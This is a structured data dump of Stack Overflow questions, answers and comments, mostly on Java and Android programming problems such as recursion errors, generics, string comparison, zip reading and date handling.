has body: Just here to show my implementation for @herman solution ZoneId americaLaPazZone = ZoneId.of("UTC-04:00"); static Date firstDateOfMonth(Date date) { LocalDate localDate = convertToLocalDateWithTimezone(date); YearMonth baseMonth = YearMonth.from(localDate); LocalDateTime initialDate = baseMonth.atDay(firstDayOfMonth).atStartOfDay(); return Date.from(initialDate.atZone(americaLaPazZone).toInstant()); } static Date lastDateOfMonth(Date date) { LocalDate localDate = convertToLocalDateWithTimezone(date); YearMonth baseMonth = YearMonth.from(localDate); LocalDateTime lastDate = baseMonth.atEndOfMonth().atTime(23, 59, 59); return Date.from(lastDate.atZone(americaLaPazZone).toInstant()); } static LocalDate convertToLocalDateWithTimezone(Date date) { return LocalDateTime.from(date.toInstant().atZone(americaLaPazZone)).toLocalDate(); }
score: 0
upvote count: 1
downvote count: 1

http://stackoverflow.com/comment/33740543
type: QuestionComment
score: 0
has text: I was able to solve by increasing heap space in mapred-site.xml . what i am asking are we able to update data in files already created earlier using MultipleOutputs ?
comment on: http://stackoverflow.com/q/22218576
type: Comment

http://stackoverflow.com/q/22318002
type: Question
tagged with: java
score: 4
has body: I currently have a method that is supposed to take two strings and then check if one string exists as a substring in other. It doesn't check both ways so the way in which I pass my strings to the method determines what string is looked for in the other. Currently I am getting a stackoverflow error. public boolean checkMatch(String text, String regex, int i){ int regexL = regex.length(); if(i == regexL){ return true; } System.out.println(text.charAt(i) + " " + regex.charAt(i)); if(text.charAt(i) == regex.charAt(i)){ return checkMatch(text, regex, i++); } else if(text.charAt(i) != regex.charAt(i)){ if(text.substring(1) == ""){ return false; } else if(text.substring(1) != ""){ return checkMatch(text.substring(1), regex, 0); } } return false; } I am running a test using my first name as an example. @Test public void test_52() { assertEquals(true, checkMatch("Samual", "mu", 0)); } the console looks like this after it overflows. S m a m m m m m m m etc Where am I going wrong? Am I iterating wrong? The stack trace shows that it seems to be getting caught on this line. return checkMatch(text, regex, i++); But the defect point is rarely the point of failure. Sorry for the wall of text and code.
tagged with: substring
upvote count: 4
answer count: 3
accepted answer: http://stackoverflow.com/a/22318097
has comment: http://stackoverflow.com/comment/33914951
downvote count: 0
tagged with: string
tagged with: stack-overflow
has comment: http://stackoverflow.com/comment/33914466
favorite count: 0
has answer: http://stackoverflow.com/a/22318268
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/22318107
has title: StackOverflow when checking if one string is contained in another
has answer: http://stackoverflow.com/a/22318107
has answer: http://stackoverflow.com/a/22318097

http://stackoverflow.com/a/22275086
downvote count: 0
has body: I suppose your problem is this code: ps = con.prepareStatement(sql); ps = con.prepareStatement(sql1); result = ps.executeQuery(); You are overwriting your sql statement immediately with the statement sql1. I think, you probably want to select the assets with THEIR locations. In SQL you can use a JOIN to achieve that.
type: Answer
score: 1
answers question: http://stackoverflow.com/q/22274936
upvote count: 1

http://stackoverflow.com/comment/33688222
score: 0
type: AnswerComment
has text: see now its my post request method which i use
type: Comment
comment on: http://stackoverflow.com/a/22191169

http://stackoverflow.com/comment/33765676
has text: if(graph.containsKey(value)) looks useless. Please tell the line where the exception occurs.
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22235366

http://stackoverflow.com/q/22263803
has comment: http://stackoverflow.com/comment/33817644
accepted answer: http://stackoverflow.com/a/22264366
upvote count: 2
answer count: 2
has title: interfaces, generics and refactoring
tagged with: generics
has answer: http://stackoverflow.com/a/22264366
favorite count: 0
possible better answer: http://stackoverflow.com/a/22263903
has answer: http://stackoverflow.com/a/22263903
score: 2
type: AnsweredQuestion
downvote count: 0
has body: That awkward moment when you realize you don't know Java... Got classes A, B, and C. They all extend class X, which defines a UUID id, getId() and setId() (side note - X and its relationship with A, B, C and D, are fixed, not open to change) After writing identical methods findA(UUID id, List&lt;A&gt; as) findB(UUID id, List&lt;B&gt; bs) findC(UUID id, List&lt;C&gt; cs) , all of which just return an A (B, C) with the matching id, I got the feeling I need to do a little refactoring. Naively, I thought - oh I know, I will make A, B and C implement an interface, call it Identifiable, with UUID getId(), use, mutatus mutandis, the code from findA, and call it a day - findIdentifiable(UUID id, List&lt;Identifiable&gt; list) will do the trick(s). Well, no; findIdentifiable can't be called on a List&lt;A&gt; (or &lt;B&gt;, or &lt;C&gt;). Ouch! Somewhat embarrassing, I didn't see that coming - worse, I don't even understand why it doesn't compile. That's the first problem. The second problem is - what's a best way to do this refactoring? Because there are more classes on the way, and I don't want to write another identical method... I am thinking "Generics", but, apparently, despite using generics in simple cases, I'm not sure how to approach this case.
tagged with: refactoring
tagged with: java
has comment: http://stackoverflow.com/comment/33817739
has comment: http://stackoverflow.com/comment/33817681
type: Question
has comment: http://stackoverflow.com/comment/33817611

http://stackoverflow.com/comment/33747748
type: AnswerComment
has text: yes it is a plug-in, but if you download the JEE version of eclipse (which was your case), it will be already there. Have a nice time using it :)
comment on: http://stackoverflow.com/a/22222450
type: Comment
score: 0

http://stackoverflow.com/comment/33864500
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/22289782
type: Comment
has text: `equals()` is case sensible, if you entering a capital letter where you shouldn't it will return `false`, if that in fact the case than use `equalsIgnoreCase()`

http://stackoverflow.com/comment/33878444
comment on: http://stackoverflow.com/a/22251207
score: 1
type: AnswerComment
type: Comment
has text: Yes, I said exactly that in the first sentence. You can only try to weave the aspect in only a few places; often a high-level method is enough to see in which part of the code most of the performance is spend. Always remember that 80% of the code is good enough. You need to identify the 20% where 80% of the time is spend. I also wished there was a simple one-click solution but I haven't seen one, yet.

http://stackoverflow.com/q/22203494
has comment: http://stackoverflow.com/comment/33707827
score: 2
type: AnsweredQuestion
has title: Java: Possible to add 1 non-Comparable object to a TreeSet?
accepted answer: http://stackoverflow.com/a/22203701
downvote count: 0
tagged with: set
type: Question
has answer: http://stackoverflow.com/a/22203701
has answer: http://stackoverflow.com/a/22203610
has comment: http://stackoverflow.com/comment/33707623
tagged with: java
has answer: http://stackoverflow.com/a/22203759
possible better answer: http://stackoverflow.com/a/22203610
upvote count: 2
has comment: http://stackoverflow.com/comment/33765446
favorite count: 0
tagged with: ocpjp
answer count: 3
has comment: http://stackoverflow.com/comment/33754113
has body: Here's my code: public static void main(String[] args){ TreeSet&lt;Dog&gt; d = new TreeSet&lt;Dog&gt;(); d.add(new Dog()); System.out.println(d.size()); } class Dog{ } As you can see, the Dog class is not a Comparable object and I sure did not specify a Comparator to be used for sorting. How does this snippet of code run without exceptions? It printed out 1. I tried adding another Dog to the TreeSet and it threw a ClassCastException as expected. EDIT: I'm using Java 6
has comment: http://stackoverflow.com/comment/33708043

http://stackoverflow.com/comment/33766219
comment on: http://stackoverflow.com/q/22235771
has text: Just to add more info to these answers, d.add(new Object[]{"A"}); will work without any error
type: QuestionComment
type: Comment
score: 1

http://stackoverflow.com/comment/33951261
type: Comment
comment on: http://stackoverflow.com/a/22316444
type: AnswerComment
has text: Thanks for reply me . please let me know brief description with example ?
score: 0

http://stackoverflow.com/comment/33650063
comment on: http://stackoverflow.com/a/22171530
score: 0
type: AnswerComment
has text: @OldCurmudgeon Yeah you're right, fixed. Thanks
type: Comment

http://stackoverflow.com/a/22241213
type: Answer
has body: You could obfuscate your code with ProGuard (http://proguard.sourceforge.net) or similar tools. It won't give you great protection tho, but makes it harder to understand the code if someone decompiles it.
upvote count: 3
score: 3
accepted answer of: http://stackoverflow.com/q/22241190
type: AcceptedAnswer
downvote count: 0
answers question: http://stackoverflow.com/q/22241190

http://stackoverflow.com/q/22181887
tagged with: post
has comment: http://stackoverflow.com/comment/33715320
score: 0
has comment: http://stackoverflow.com/comment/33693830
has comment: http://stackoverflow.com/comment/33669980
has title: How to send data from Android to Django
type: UnansweredQuestion
tagged with: android
tagged with: django
tagged with: python
answer count: 0
tagged with: java
type: Question
has comment: http://stackoverflow.com/comment/33670003
has body: I can't find the problem with POST data, I have django app deployed on Heroku and android app that needs to send data to it when user finishes game. When I tested data saving without POST method (hardcoded values) it worked. Can anybody tell me where is the problem in my code? urls.py url(r'^scorepost/', 'scorepost'), view.py @csrf_exempt def scorepost(request): if request.method == 'POST': email = string(request.POST['email']) difficulty = string(request.POST['difficulty']) time = string(request.POST['time']) moves = string(request.POST['moves']) score = string(request.POST['score']) user = CustomUser.objects.get(email=email) Highscore.objects.create(user_id = user.id, difficulty = difficulty, time = time, moves = moves, score = score) return HttpResponse("Score saved") return HttpResponse("Score not saved") android HttpClient httpclient = new DefaultHttpClient(); HttpPost httppost = new HttpPost("http://testdjangoandroid.herokuapp.com/scorepost/"); try { List&lt;NameValuePair&gt; pairs = new ArrayList&lt;NameValuePair&gt;(5); pairs.add(new BasicNameValuePair("email", user_email)); pairs.add(new BasicNameValuePair("difficulty", Integer.toString(difficulty))); pairs.add(new BasicNameValuePair("time", Long.toString(totalTime))); pairs.add(new BasicNameValuePair("moves", Integer.toString(totalMoves))); pairs.add(new BasicNameValuePair("score", Long.toString(totalScore))); httppost.setEntity(new UrlEncodedFormEntity(pairs)); httpclient.execute(httppost);
has comment: http://stackoverflow.com/comment/33686975
has comment: http://stackoverflow.com/comment/33669368

http://stackoverflow.com/a/22240521
has comment: http://stackoverflow.com/comment/33775224
has comment: http://stackoverflow.com/comment/33775046
score: 0
type: Answer
has comment: http://stackoverflow.com/comment/33775002
answers question: http://stackoverflow.com/q/22240349
has body: Your code is working without any issues. Check if the d:\c.txt is existing. If it exists, check the content. May be delete all and type fresh content and try again.

http://stackoverflow.com/comment/33811320
comment on: http://stackoverflow.com/a/22260145
type: AnswerComment
type: Comment
score: 0
has text: You can launch your *web-app* within eclipse by right click > run on server and then your page can serve html which has this `<applet>` and then you can browse it to load applet on client jre

http://stackoverflow.com/comment/33815055
has text: *"Warning: Serialized objects of this class will not be compatible with future Swing releases. The current serialization support is appropriate for short term storage or RMI between applications running the same version of Swing. As of 1.4, support for long term storage of all JavaBeansTM has been added to the java.beans package. Please see XMLEncoder."* - From the JavaDocs for [`JComponent`](http://docs.oracle.com/javase/7/docs/api/javax/swing/JComponent.html)
comment on: http://stackoverflow.com/q/22262370
type: QuestionComment
type: Comment
score: 2

http://stackoverflow.com/a/22237775
has comment: http://stackoverflow.com/comment/33770082
type: Answer
score: 1
has comment: http://stackoverflow.com/comment/33770140
has comment: http://stackoverflow.com/comment/33770536
upvote count: 1
has body: URL pattern is not a true glob match and only supports two types of wildcards: /someting/* and *.something http://www.roguewave.com/portals/0/products/hydraexpress/docs/3.5.0/html/rwsfservletug/4-3.html When it comes to styling you have to allow the resources (CSS, Javascript, images etc) used by the login page to be loaded without a session the same way you allow access to the login page itself.
accepted answer of: http://stackoverflow.com/q/22237676
answers question: http://stackoverflow.com/q/22237676
has comment: http://stackoverflow.com/comment/33769946
has comment: http://stackoverflow.com/comment/33770294
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/33770193
has comment: http://stackoverflow.com/comment/33770602

http://stackoverflow.com/comment/33760808
has text: I added activemq.xml to edit. Also we are using in kahadb for persistence.
comment on: http://stackoverflow.com/q/22184721
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/a/22181313
accepted answer of: http://stackoverflow.com/q/22181226
downvote count: 0
score: 1
answers question: http://stackoverflow.com/q/22181226
has body: ImageIcon is a Swing component, so just add those ImageIcons to a container like a JPanel (perhaps that Cards extends JPanel you have). The container itself draws the Swing components it contains, so you don't have to manually draw them.
upvote count: 1
type: AcceptedAnswer
type: Answer

http://stackoverflow.com/q/22262083
score: 0
accepted answer: http://stackoverflow.com/a/22262260
answer count: 1
has comment: http://stackoverflow.com/comment/33814873
type: AnsweredQuestion
tagged with: java
tagged with: bukkit
has answer: http://stackoverflow.com/a/22262260
has title: Correct "for" usage in this instance
has body: What is the correct usage of for (Player p : ) if I am trying to get the player's location and teleport them within a Bukkit scheduled task? It gives me an unidentified error when using a : which I believe I need to connect the reset of the statement together, but there may be another way. Although this is a Minecraft Bukkit-related question, I'm sure someone here is able to help me out. Current code: private void teleporter() { if (getConfig().getBoolean("teleport")) { Bukkit.getScheduler().scheduleSyncRepeatingTask(this, new Runnable() { public void run() { for (Player p : ) { if (p.getLocation().getY() &lt;= 0.0D) { p.teleport(NoVoid.spawnLocation); p.setFallDistance(0.0F); } } } }, 0L, 100L); } } Any help is appreciated! Update: Rusher and rgettman had the right idea. Had to add Bukkit.getServer().getOnlinePlayers() to get all of the online players (had to connect it to a list).
type: Question
tagged with: api
has comment: http://stackoverflow.com/comment/33814324
tagged with: minecraft
has comment: http://stackoverflow.com/comment/33814423

http://stackoverflow.com/q/22288095
tagged with: cpu-speed
score: -1
tagged with: data-structures
downvote count: 3
has answer: http://stackoverflow.com/a/22288754
favorite count: 0
has comment: http://stackoverflow.com/comment/33861280
has comment: http://stackoverflow.com/comment/33861329
has title: Can you/How do you save CPU and memory by choosing wisely
tagged with: cpu-usage
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/33861527
has body: I understand the JVM optimizes some things for you (not clear on which things yet), but lets say I were to do this: while(true) { int var = 0; } would doing: int var; while(true) { var = 0; } take less space? Since you aren't declaring a new reference every time, you don't have to specify the type every time. I understand you really would only need to put var outside of while if I wanted to use it outside of that loop (instead of only being able to use it locally like in the first example). Also, what about objects, would it be different that primitive types in that situation? I understand it's a small situation, but build-up of this kind of stuff can cause my application to take a lot of memory/cpu. I'm trying to use the least amount of operations possible, but I don't completely understand whats going on behind the scenes. If someone could help me out, even maybe link me to somewhere I can learn about saving cpu by decreasing amount of operations, it would be highly appreciated. Please no books (unless they're free! :D), no way of getting one right now /:
has comment: http://stackoverflow.com/comment/33860926
tagged with: java
has answer: http://stackoverflow.com/a/22288251
has comment: http://stackoverflow.com/comment/33861428
has comment: http://stackoverflow.com/comment/33861034
type: Question
upvote count: 2
answer count: 2
has comment: http://stackoverflow.com/comment/33861050

http://stackoverflow.com/q/22179840
duplicate of: http://stackoverflow.com/q/513832
favorite count: 0
has comment: http://stackoverflow.com/comment/33665667
upvote count: 2
has comment: http://stackoverflow.com/comment/33667895
tagged with: android
has answer: http://stackoverflow.com/a/22179940
has body: can you check why this code jumps to else with the conditions like e1="1", e2="2", e3="" if (e1=="" || e2=="" || e3==""){ Context context = getApplicationContext(); CharSequence text = "Fill in all required fields!"; int duration = Toast.LENGTH_SHORT; Toast toast = Toast.makeText(context, text, duration); toast.setGravity(Gravity.CENTER|Gravity.CENTER, 0, 0); toast.show(); } else { m=Integer.parseInt(e1); std=Integer.parseInt(e2); nhv=Integer.parseInt(e3); rsl=((std*std)*((t1+t2)*(t1+t2)))/((m-nhv)*(m-nhv)); if (Math.round(rsl) &lt; rsl) { rsl = Math.round(rsl) +1; } else { rsl=Math.round(rsl); } et4.setText(""+rsl); }
has comment: http://stackoverflow.com/comment/33665297
score: 2
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/33669130
tagged with: syntax
has comment: http://stackoverflow.com/comment/33669106
has comment: http://stackoverflow.com/comment/33667953
has comment: http://stackoverflow.com/comment/33667930
tagged with: java
linked to: http://stackoverflow.com/q/3598770
has comment: http://stackoverflow.com/comment/33668370
type: Question
has answer: http://stackoverflow.com/a/22179967
has answer: http://stackoverflow.com/a/22180324
has comment: http://stackoverflow.com/comment/33668426
has comment: http://stackoverflow.com/comment/33668293
accepted answer: http://stackoverflow.com/a/22179940
tagged with: if-statement
has comment: http://stackoverflow.com/comment/33668494
has comment: http://stackoverflow.com/comment/33668846
has title: Unable to compare empty Strings
possible better answer: http://stackoverflow.com/a/22180324
tagged with: logical-operators
linked to: http://stackoverflow.com/q/513832
answer count: 3
downvote count: 0
has comment: http://stackoverflow.com/comment/33668538

http://stackoverflow.com/a/22198715
score: 3
has body: To solve it you need to have two loops. One for traverse the args array Second to traverse characters in argument What you are doing now you are take the i with represent position of argument args[i] (good), and with the same i you try to fetch the character charAt(i) (wrong). In other words for first argument you check first character only, for second the second, ..., for n argument you check n character of that argument. To avoid in future such problem try to use more functions, a function should focus on single problem public static void countCharOccurence(String input, char search) { int cound = 0; for(int i=0; i&lt; input.length; i++){ if(search == input.getAt(i) { count++; } } } Try to add this in your main method. Good luck.
downvote count: 0
type: Answer
upvote count: 3
answers question: http://stackoverflow.com/q/22198674

resource-cleanup
tags question: http://stackoverflow.com/q/22263984
tag name: resource-cleanup
type: Tag

http://stackoverflow.com/q/22319335
has answer: http://stackoverflow.com/a/22319695
has body: I want the program to go back to the Menu when the switch cases has been completed or is over but i don't know how to do it. here's my code. example, when the user has chosen his/her choice and he/she has performed it the program closes automatically, but i don't want that i want it to continue until the user wishes to exit the program. please help i don't know what to do public class Jproj { public static void main(String[] args) { boolean back = false; String teamone = null; String teamtwo = null; LinkedList x = new LinkedList(); String name; int team; char choice = 'w'; int num=0; System.out.println("Menu"); System.out.println("a.) Add a member"); System.out.println("b.) Define the friends of each member"); System.out.println("c.) Create two teams"); System.out.println("d.) Save Data"); System.out.println("e.) Extract data from file"); Sysmte.out.println("f.) Exit"); Scanner ans = new Scanner(System.in); System.out.print("Choice:"); choice = ans.next().charAt(0); switch(choice) { case 'a': Scanner a = new Scanner(System.in); System.out.println("ADDING MEMBERS"); System.out.print("Name of the member:"); name = a.nextLine(); System.out.println(""+name); x.insert(name); x.displayone(); System.out.print("Successfull!"); break; case 'b': System.out.println("DEFINING FRIENDS OF MEMBERS"); break; case 'c': System.out.print("Creating TEAMS"); Scanner scanner = new Scanner(System.in); if(teamone!=null&amp;&amp;teamtwo!=null) { System.out.print("Teams has already been created!\n do you want to replace team names?"); System.out.print("1-Yes\n2-No"); int sagot = scanner.nextInt(); if(sagot != 1) { return; } else System.out.println("CREATING TEAMS"); Scanner c = new Scanner(System.in); System.out.print("Enter new Name of Team 1:"); teamone = c.nextLine(); System.out.print("Enter new Name of Team 2:"); teamtwo = c.nextLine(); x.teamname(teamone,teamtwo); } else System.out.println("CREATING TEAMS"); Scanner c = new Scanner(System.in); System.out.print("Name of Team 1:"); teamon…
has title: how to Add members to the Team
type: Question
has answer: http://stackoverflow.com/a/22319668
tagged with: jcreator
answer count: 2
has comment: http://stackoverflow.com/comment/33916568
has comment: http://stackoverflow.com/comment/33916533
type: UnansweredQuestion
score: 0
tagged with: java

http://stackoverflow.com/comment/37404790
type: AnswerComment
score: 0
type: Comment
has text: Well thank you very much for that, solved it instantly! I haven't looked at that code for a while now, but I'm still very intrigued as to why it acts the way it does. I might post another specific question about it when I have the time.
comment on: http://stackoverflow.com/a/24147884

http://stackoverflow.com/comment/33777087
type: Comment
has text: Possible [example](http://stackoverflow.com/questions/12764634/printing-a-jframe-and-its-components/12765916#12765916) and [example](http://stackoverflow.com/questions/22058738/print-jlabels-icon-in-a-printer-using-a-button/22059079#22059079)...
score: 0
comment on: http://stackoverflow.com/q/22241711
type: QuestionComment

http://stackoverflow.com/q/22282710
downvote count: 0
answer count: 1
favorite count: 0
has comment: http://stackoverflow.com/comment/33850833
type: AnsweredQuestion
linked to: http://stackoverflow.com/q/6633365
score: 3
upvote count: 3
tagged with: java
has comment: http://stackoverflow.com/comment/33851009
has answer: http://stackoverflow.com/a/22282759
has title: How to hide a swing form icon from taskbar?
tagged with: swing
type: Question
has comment: http://stackoverflow.com/comment/33850970
has body: Let say we have JFrame, once I set the visibility as true, the app icon is appeared(just as other apps) in task manager. Question: is it possible to remove this icon(and the text) from the task manager? thanks in advance.
accepted answer: http://stackoverflow.com/a/22282759

http://stackoverflow.com/comment/33680571
type: QuestionComment
comment on: http://stackoverflow.com/q/22188096
has text: Try setting your JAVA_HOME to that directory, minus the `bin`.
score: 0
type: Comment

http://stackoverflow.com/comment/33694183
has text: Customer ha collected statspack file for more than five days and all have showed this query to be the crook. So i donot think we have stale stats. There were no change in any indexes as well. Concerning explain plan, we donot have the explain plan output of the this query for previous version. All current executions of this query(around 7K executions per day) are consuming more cputime/gets/physical reads.
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/22195991
type: Comment

http://stackoverflow.com/a/22177746
score: 7
has comment: http://stackoverflow.com/comment/33661416
downvote count: 0
has body: There can only be one else for each if/else if. The else if (num2 &lt; num3) part already has an else statement two lines below it. Maybe you are missing an if-statement somewhere?
type: Answer
has comment: http://stackoverflow.com/comment/33661976
answers question: http://stackoverflow.com/q/22177675
upvote count: 7

http://stackoverflow.com/q/22259773
tagged with: android
has answer: http://stackoverflow.com/a/22262185
type: AnsweredQuestion
tagged with: http://stackoverflow.com/tag/zip
possible better answer: http://stackoverflow.com/a/22356362
tagged with: android-webview
has body: Let's explain it first I'm using a webView to load a HTML app. To protect the source a bit (script-kiddie protection) I want to load the html code from a (protected) zip file. The html code is already packed, minified, combined etc so is only 700kb in size (unpacked). This works pretty well but there is one problem, it is a bit slow. In the example below I read the html file from the zip and put the result in a string. This string will be used to load the html code into the webview by using the following code: this.webView.loadDataWithBaseURL("file:///android_asset/", this.unzipStream(sFileName), "text/html", "UTF-8", ""); I have played with different solutions to get it faster and figure out that the bottleneck is at reading the contents from the zip. I increased the read buffer's blocksize but doesn't help, it never reads the full blocksize. For example, when I used 4096 bytes (4kb) as blocksize it reads only 700 to 1100 bytes at once. Question(s): How can I force the read function to use the full blocksize specified? Otherwise, is there another better way to do it (for example put it directly into webview)? Here is the code I have made: public String unzipStream( String sFileName ) { final int BLOCKSIZE = 4096; //String sResult = ""; long iSize = 0; int iReaded = 0; ByteArrayOutputStream sb = new ByteArrayOutputStream(); try { InputStream is = this.activity.getAssets().open( sFileName ); BufferedInputStream fin = new BufferedInputStream( is ); ZipInputStream zin = new ZipInputStream(fin); ZipEntry ze; while( (iSize == 0) &amp;&amp; ((ze = zin.getNextEntry()) != null) &amp;&amp; !ze.isDirectory() ) { byte data[] = new byte[BLOCKSIZE]; long iTotal = ze.getSize(); while ((iReaded = zin.read(data,0,BLOCKSIZE)) &gt; 0 &amp;&amp; ((iSize+=iReaded) &lt;= iTotal) ) { sb.write(data,0,iReaded); } zin.closeEntry(); } zin.close(); } catch(Exception e) { System.out.println("Error unzip: "+e.getMessage()); //sResult = ""; iSize = 0; } if( iSize &gt; 0 ) { //Base64. try { retur…
upvote count: 2
type: Question
tagged with: java
has answer: http://stackoverflow.com/a/22279830
answer count: 3
score: 2
tagged with: unzip
downvote count: 0
favorite count: 0
has title: Android Java: Reading file from zip file into webview/string, Why ZipInputStream limits read performance?
linked to: http://stackoverflow.com/q/13748205
accepted answer: http://stackoverflow.com/a/22279830
has answer: http://stackoverflow.com/a/22356362

http://stackoverflow.com/a/52798908
answers question: http://stackoverflow.com/q/22288659
type: Answer
has comment: http://stackoverflow.com/comment/92517453
has body: You can parse PDF easily on android easily using the iText library as like I've done it on my project by parsing a pdf file from assets and displaying it in the android listview. iTextG Link: https://developers.itextpdf.com/itextg-android assetManager = getAssets(); try{ InputStream inputStream = assetManager.open("sample.pdf"); String parsedText = ""; PdfReader reader = new PdfReader(inputStream); int n = reader.getNumberOfPages(); for (int i = 0; i &lt; n; i++) parsedText = parsedText + PdfTextExtractor.getTextFromPage(reader, i + 1).trim() + "\n"; String[] data = parsedText.split("\n"); for(String d : data){ patients.add(d); } reader.close(); }catch (FileNotFoundException e){ Toast.makeText(this, "File Not Found", Toast.LENGTH_SHORT).show(); }catch (IOException e){ Toast.makeText(this, "IO Error reading input stream", Toast.LENGTH_SHORT).show(); }
score: 0

http://stackoverflow.com/a/22204066
answers question: http://stackoverflow.com/q/22203848
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/22203848
has body: Volley caches results by default once the request is completed. So yes, you could use volley to do what you want. Here is a link to a tutorial. Another option would be to store the result from the request in a SQLite database and retrieve it if the user goes back to the previous screen. If you are using Volley I will just use their cache to retrieve the data.
type: Answer
has comment: http://stackoverflow.com/comment/33763920
upvote count: 1
score: 1

http://stackoverflow.com/comment/33892842
type: QuestionComment
comment on: http://stackoverflow.com/q/22279141
score: 0
has text: Really Thanks, both of you. I've tried ALIGN_PARENT_RIGHT way before. but it was little strange. cause of background color and, not proper position of close button. Anyway, I turn it off by popUp.setBackgroundDrawable(null);
type: Comment

http://stackoverflow.com/a/22311581
upvote count: 3
answers question: http://stackoverflow.com/q/22311539
has comment: http://stackoverflow.com/comment/33903532
has comment: http://stackoverflow.com/comment/33903486
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/33904064
accepted answer of: http://stackoverflow.com/q/22311539
has comment: http://stackoverflow.com/comment/33904151
has body: When I shutdown my server I want to to stop all of my threads from executing. When a thread is blocked in serverSocket.accept(), the only way to stop it is to close the serverSocket out from under it. The accept call will then throw a IOException which can be caught and the thread should then quit. If you also need to stop the client handler threads then you will need to have them listen for thread interrupts. Interrupting a thread does not stop it from running but it will set the interrupt flag on the thread and will cause any methods that throw InterruptedException to throw. To interrupt the threads in the ExecutorService you would call threadExecutor.shutdownNow(). However, this does not interrupt the accept() call. Typically in a thread handle loop we do something like: while (!Thread.currentThread().isInterrupted()) { ... }
type: Answer
score: 3

http://stackoverflow.com/q/22313962
has answer: http://stackoverflow.com/a/22314026
has body: String a = "Some small sample text!"; char[] letters = a.toCharArray(); int[] charvals = new int[letters.length]; for (int i = 0; i&lt;letters.length;i++) { int curr = (int) letters[i]; charvals[i] = curr; } HashMap&lt;Character, Integer&gt; lettermap = new HashMap&lt;Character, Integer&gt;(); Character c; for (int i = 0; i&lt;letters.length; i++) { c = letters[i]; if (lettermap.containsKey(c)) { lettermap.put(c, lettermap.get(c) + 1); } else { lettermap.put(c, 1); }} for (int i = 0; i &lt; charvals.length; i++) { if (charvals[i] !=32) { c = letters[i]; System.out.println(lettermap.get(c)); } 1 1 3 3 2 3 2 3 3 2 2 3 1 3 3 2 3 1 2 1 This is the output, horizontally for space concerns. I should only have 3 "3s" or letters that appear 3 or more times, but I get 9. Can anybody tell me why? It is easy to see on the 3rd item of output. The key is 'm' in my String and it is the first time it is appearing in the map yet the value is 3 and not 1. Why is this happening?
tagged with: dictionary
has answer: http://stackoverflow.com/a/22314273
answer count: 4
has title: Why are my map values incorrect?
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/33907732
tagged with: java
type: Question
possible better answer: http://stackoverflow.com/a/22314026
accepted answer: http://stackoverflow.com/a/22314012
score: 0
has comment: http://stackoverflow.com/comment/33907688
has answer: http://stackoverflow.com/a/22314097
has comment: http://stackoverflow.com/comment/33907664
has answer: http://stackoverflow.com/a/22314012

http://stackoverflow.com/comment/33729350
type: AnswerComment
comment on: http://stackoverflow.com/a/22200970
type: Comment
has text: Yes, you are right. I was mixing JPA and JDO but now i am just using JPA but then also its not working. I edited my code.
score: 0

http://stackoverflow.com/q/22208560
has answer: http://stackoverflow.com/a/22208615
tagged with: android
score: 0
answer count: 1
tagged with: java
type: UnansweredQuestion
tagged with: listview
has title: resource ID for a TextView android error in custom listview
tagged with: adapter
has body: I have this custom listview: public class Evento { public String nome; public String local; public String inicio; public Evento(String nome, String local, String inicio) { this.nome = nome; this.local = local; this.inicio = inicio; } public String getNome() { return nome; } public void setNome(String nome) { this.nome = nome; } public String getLocal() { return local; } public void setLocal(String local) { this.local = local; } public String getInicio() { return inicio; } public void setInicio(String inicio) { this.inicio = inicio; } } public class AdapterEventos extends ArrayAdapter&lt;Evento&gt; { private final Context context; private final ArrayList&lt;Evento&gt; eventosArrayList; public AdapterEventos(Context context, ArrayList&lt;Evento&gt; eventos) { super(context, R.layout.listeventos, eventos); this.context = context; this.eventosArrayList = eventos; } public View getViewEventos(int position, View convertView, ViewGroup parent) { //Create inflater LayoutInflater inflater = (LayoutInflater) context.getSystemService(Context.LAYOUT_INFLATER_SERVICE); //Get rowView from inflater View LinhaEventoView = inflater.inflate(R.layout.listeventos, parent, false); //Get the text view from the rowView TextView nomeView = (TextView) LinhaEventoView.findViewById(R.id.tvNomeEvento); TextView localView = (TextView) LinhaEventoView.findViewById(R.id.tvLocalEvento); TextView inicioView = (TextView) LinhaEventoView.findViewById(R.id.tvInicioEvento); //Set the text for textView nomeView.setText(eventosArrayList.get(position).getNome()); localView.setText(eventosArrayList.get(position).getLocal()); inicioView.setText(eventosArrayList.get(position).getInicio()); //return rowView return LinhaEventoView; } } When I run the app I got the following error: 'You must supply a resource ID for a TextView'. I think i have to pass some textview id from list layout (listeventos.xml [1]) but i doesn't know how to do that. Can somebody help me with that? [1] http://pastebin.com/B1kgptHx Thanks
type: Question

http://stackoverflow.com/comment/33922587
comment on: http://stackoverflow.com/q/22322852
type: Comment
has text: @DaniëlKnippers I reverted your edit as it most likely was the sources of the problems.
type: QuestionComment
score: 0

http://stackoverflow.com/a/22185750
has comment: http://stackoverflow.com/comment/33676269
upvote count: 13
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/33676223
type: Answer
score: 13
downvote count: 0
has comment: http://stackoverflow.com/comment/33676255
accepted answer of: http://stackoverflow.com/q/22185706
has body: You cannot use a Class as the expression for your switch statement, according to the JLS, Section 14.11: The type of the Expression must be char, byte, short, int, Character, Byte, Short, Integer, String, or an enum type (§8.9), or a compile-time error occurs. You can compare the Class objects directly. Because there is only one Class object per actual class, the == operator works here. if (type == FooType.class)
has comment: http://stackoverflow.com/comment/33676862
has comment: http://stackoverflow.com/comment/33676309
answers question: http://stackoverflow.com/q/22185706

http://stackoverflow.com/a/26266223
accepted answer of: http://stackoverflow.com/q/22270098
upvote count: 2
has body: I slightly amended it, and it works well <?xml version="1.0" encoding="UTF-8"?> <level value="all"/> <appender-ref ref="info" /> <appender-ref ref="debug" /> <appender-ref ref="error" />
type: Answer
score: 2
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/22270098
downvote count: 0

http://stackoverflow.com/comment/33814127
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22261779
